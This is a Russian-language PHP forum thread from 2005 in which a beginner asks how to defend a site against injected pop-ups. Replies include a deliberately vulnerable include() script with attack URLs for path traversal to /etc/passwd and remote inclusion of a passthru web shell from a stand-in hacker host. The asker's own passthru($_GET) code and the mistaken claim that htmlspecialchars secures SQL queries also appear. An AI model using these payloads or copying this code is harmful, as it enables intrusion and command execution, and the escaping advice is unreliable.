Защита сайта от всплывающих окон.

Torio

Guest
Защита сайта от всплывающих окон.

Добрый день!
Клиент переживает по поводу возможной атаки конкурентов на предмет засорения сайта вспывающими окнами.
Не знаю, с чего он это взял, но все же на всякий случай хочу подстраховаться еще на стадии разработки. :)
Вопрос: кроме полей ввода (это защитить легко - насколько я понимаю
PHP:
htmlspecialchars
все решает) есть ли еще какие-нибудь дыры на сайте, которые могут требовать защиты?
Сайт будет работать без MySql (пока это не нужно). Часть информации подгружается из текстовых файлов. Нужна ли им какая-нибудь защита (чтобы зловредный хакер не смог как-нибудь в них что-нить дописать)?
Если есть какие-нибудь дыры еще, просьба также подсказать как защититься.
Я только учусь програмированию, поэтому не сочтите за труд мне помочь.
 

SiMM

Новичок
> есть ли еще какие-нибудь дыры на сайте, которые могут требовать защиты?
Телепаты в отпуске.
 

Torio

Guest
SiMM
То есть пока сайт не в сети, мне никто ничего сказать не сможет?
Тогда вопрос по другому: кроме полей ввода никахих интерактивных элементов не будет. В таком случае надо ли еще что-нибудь делать кроме htmlspecialchars (это естественно для полей)?
 

Torio

Guest
Автор оригинала: Ilya
кавычки проэкранируй :)
Спасибо.
Только htmlcpesialchars и так это делает (все спецсимволы слешит кавычки и одинарные и двойные в том числе) ;)
В общем кроме полей ввода (повторюсь, на сайте только они и есть) дыр быть не может, я правильно понял?
 

Kelkos

Сам себе программер
Только htmlcpesialchars и так это делает
Ilya не это имел ввиду. Отслеживай данные, которые подставляются в мускульные запросы..
дыр быть не может, я правильно понял?
неправильно. дыры могут оказаться в самых неожиданных местах. Существует туева хуча "шаблонных" методов взлома сайта. Поищи в инете доки.. почитай..
 

Torio

Guest
Kelkos
данные, которые подсавляются в мускульные запросы
все правильно, если данные подставляются из формы:
PHP:
$post = htmlspecialchars ($_POST['smth']);
// все спецсимволы убраны
$qr = "..... '$post' .......;"; //любой грамотный запрос с этой переменной
MySql_Query ($qr);
// запрос обрабатывается, кавычки и т.п. правильно заносятся, заодно скрипт не перегружается лишними кодами
Разве не так? ;)
 

fixxxer

К.О.
Партнер клуба
Внимаьельно читайте вопрос и не парьте человеку мозги. Не нужны ему ваши addslashes - сказано же, что базу данных он использовать не собирается.

Torio
http://phpfaq.ru/slashes - там написано всё, что нужно знать по теме экранирования.
 

Torio

Guest
fixxxer
ок, еще раз протитаю.
Kelkos
Правильно, все так как ты написал. AddSlashes работает так как ей и надо работать. В будущем, если мускул будет для сайта нужен, то экранировать буду... Просто сейчас вопрос действительно не об этом.
Все понял, если мускула нет - достаточно htmlspecialchars. Если в базу - экранировать.
Правильно?
И это гарантия от всплывающих окон - правильно?
 

DiTHER

bang bang
гарантия? нет.
чтобы сделать защиту от чего либо, надо знать каким образом происходит процесс взлома и результат сего действа. Иначе - будешь метаться из угла в угол.

и, как бы, htmlspecialchars сэкранирует все html-теги, тем самым предотвратив их вывод в том виде, что может обработать броузер во всплывающее окошко, однако это совсем не полное решение вопроса, inmyhumbleopinion
 

nirex

Новичок
во первых защити данные , которые из вне менять нельзя , и не наделай дыр сам , следуй точным инструкциям данного языка и языка бд (если используешь)
 

fixxxer

К.О.
Партнер клуба
еще не передавай имя файла напрямую.
пример дырявого скрипта
index.php <? include($_GET['f']); ?>
взлом:
1) http://example.com/index.php?f=../../../etc/passwd
2) http://example.com/index.php?f=http://hackers.host.com/code.htm&exec=ls
code.htm содержит <? passthru($_GET['exec'])) ?>
 

nirex

Новичок
Автор оригинала: fixxxer
еще не передавай имя файла напрямую.
пример дырявого скрипта
index.php <? include($_GET['f']); ?>
взлом:
1) http://example.com/index.php?f=../../../etc/passwd
2) http://example.com/index.php?f=http://hackers.host.com/code.htm&exec=ls
code.htm содержит <? passthru($_GET['exec'])) ?>
это будет работать если safe_mode=Off и если файл читается
 

fixxxer

К.О.
Партнер клуба
какая разница?
safe_mode-ом ты себя при таких дырах все равно не обезопасишь:) просто придется отказаться от удобства юзать shell-команды и писать php код =)
 

Torio

Guest
fixxxer
Что можно сказать по поводу такого кода?
Насколько он дырявый?
Он просто везде... Если он дырявый, то какое решение?
Извини, за такое количество вопросов...
Вот сам код (кусок, где подгружается собственно файл, имя в коде - напрямую: ./exzample.txt):
PHP:
<?php $f = fopen ("./exzample.txt", "r"); fpassthru ($f); fclose ($f); ?>
-~{}~ 13.06.05 02:02:

fixxxer
или ты имел ввиду ссылки типа: h**p://www.exzample.com/*.php?filename=smth ?
код такой:
PHP:
<? passthru ($_GET['filename']); ?>
 
Сверху